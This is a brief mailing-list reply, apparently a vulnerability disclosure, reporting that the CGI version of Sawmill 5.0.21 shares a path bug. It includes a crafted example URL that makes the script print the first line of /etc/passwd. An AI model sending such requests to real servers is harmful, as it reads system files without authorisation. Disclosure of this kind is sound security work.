Re: sawmill5.0.21 path bug

[lwc () VAPID DHS ORG (Cashdollar, Larry)]

Sawmill can also be run as a cgi script.  This method is vulnerable as
well.

The following will print the first line of the password file

http://www.example.com/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1

-- Larry Cashdollar